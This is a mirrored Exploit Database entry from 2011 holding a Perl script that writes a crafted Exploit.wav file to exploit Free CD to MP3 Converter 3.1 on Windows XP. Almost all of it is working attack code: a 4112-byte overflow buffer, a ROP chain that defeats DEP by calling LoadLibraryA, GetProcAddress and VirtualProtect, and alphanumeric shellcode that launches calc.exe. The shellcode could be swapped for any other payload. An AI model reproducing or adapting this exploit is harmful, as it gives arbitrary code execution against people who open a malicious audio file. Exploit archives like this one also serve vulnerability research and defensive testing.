Free CD to MP3 Converter 3.1 – Universal DEP Bypass

Exploit Database
132 阅读

作者： C4SS!0 G0M3S

日期： 2011-08-07
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/17634/

#!/usr/bin/perl

#[+]Exploit Title: Free CD to MP3 Converter 3.1 Universal DEP Bypass Exploit

#[+]Date: 07\08\2011

#[+]Author: C4SS!0 G0M3S

#[+]Version: 3.1

#[+]Tested On: WIN-XP SP3 Brazilian Portuguese

#[+]CVE: N/A

#Dep bypass method:

#LoadLibraryA("kernel32.dll") + GetProcAddress(%EAX,"VirtualProtect") + VirtualProtect(%ESP,0x400,0x40,0x10007064) == Universal DEP BYPASS. :)

print q{

Created By C4SS!0 G0M3S

E-mail louredo_@hotmail.com

Blog net-fuzzer.blogspot.com

};

sleep(2);

#Endereco para LoadLibraryA 0x672CA660

##################################ROP FOR LOAD "kernel32.dll"#############################################

my $rop = pack('V',0x00418764); # POP ESI # RETN

$rop .= pack('V',0x672CA660); # Address to LoadLibraryA

$rop .= pack('V',0x00412d09); # POP EBP # RETN

$rop .= pack('V',0x004AD39B); # ADD ESP,24 # POP EBP # POP EDI # POP ESI # POP EBX # RETN// Endereço de retorno da funçao LoadLibraryA

$rop .= pack('V',0x00472be9); # PUSHAD # POP EBX # RETN

$rop .= "kernel32.dll\x00";

$rop .= "A" x 27;

##################################ROP END HERE###########################################################

#Endereço para GetProcAddress 0x672CA668

##################################ROP FOR Function GetProcAddress########################################

$rop .= pack('V',0x0048004d);# POP EBP # RETN

$rop .= "\x00\x00\x00\x00";

$rop .= pack('V',0x00409a7f);# POP EDI # RETN

$rop .= pack('V',0x672CA668);# Endereço para GetProcAddress

$rop .= pack('V',0x0042ad45);# PUSH ESP # POP ESI # RETN

$rop .= pack('V',0x004a1b0e);# POP ESI # RETN

$rop .= pack('V',0x004AD39B);# ADD ESP,24 # POP EBP # POP EDI # POP ESI # POP EBX # RETN// Endereço de retorno da funçao GetProcAddress

$rop .= pack('V',0x00421953);# ADD EBP,EAX # RETN

$rop .= pack('V',0x004c0634);# PUSHAD # RETN

$rop .= "VirtualProtect\x00";

$rop .= "A" x 25;

##################################ROP END HERE###########################################################

#################################ROP FOR VirtualProtect#################################################

$rop .= pack('V',0x0042c786);# XCHG EAX,ESI # RETN // Endereço da VirtualProtect

$rop .= pack('V',0x004d2c70);# POP EBP # RETN

$rop .= pack('V',0x0047E58B);# JMP ESP // Endereço de retorno da funçao VirtualProtect

$rop .= pack('V',0x0046abf7);# POP EBX # RETN

$rop .= pack('V',0x00000400);# O valor de dwSize

$rop .= pack('V',0x00402bb4);# POP EDX # RETN

$rop .= pack('V',0x00000040);# Valor de flNewProtect

$rop .= pack('V',0x10002b9c);# POP ECX # RETN

$rop .= pack('V',0x10007064);# Valor de lpflOldProtect

$rop .= pack('V',0x00472be9);# PUSHAD # POP EBX # RETN

#################################ROP END HERE###########################################################

my $shellcode =

"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIONMRU2SJXH9KHNHYD4FDK".

"D0XGC9YX1FRP1T0B2TCRPEBK3RJMNZ8GMLV879DONSVQXK7FWLCSIJ5VLO0WXWYWVLDO0O2SZGL62OVO".

"RP3N3DMMERZJDY3R9N0Q695JE6J3KEUYGM5LNQTR0EK3PUDYY0PN3MY3NQ4KX980PGSPPN3N5L3Q5RI9". #Shellcode Alpha Numeric WinExec "Calc.exe"

"GQ3J5M6MO9KMMOQ7OHZT2X2SLLUKOS1L6VDN6QKJWUGTV07YVMHMKQY4N5NG4WLE4QML9QWOOELVEXMQ". #Baseaddress EAX.

"2LFNN2UMWFWE2KSPLWK8OSWDJ1O8NOTGPQK1K0KJGZJ5OE8VCNW9T4Q2RUMOZ6NCTL9TSLKJNZKW0NMN".

"LSQMFWOHKHLLX7ON4SNZQ4NQO4QMVLNMZPVD89ULWKNTQMP0M1S3L6SNXMWBYNPPIT73NOXWKRRVZRN8".

"WDN0SUK8WOMV4DNNTWPYWN27KA";

my $buf = "A" x 4112;

$buf .= $rop;

$buf .= "\x8B\xC4\x83\xC0\x20\xFF\xD0".("A" x 21).$shellcode;

print "\t\t[+]Creating File Exploit.wav...\n";

sleep(1);

open(f,">Exploit.wav") || die "[-]Error: $!\n";

print f $buf;

close f;

print "\t\t[+]File Exploit.wav Created Successfully.\n";

sleep(1);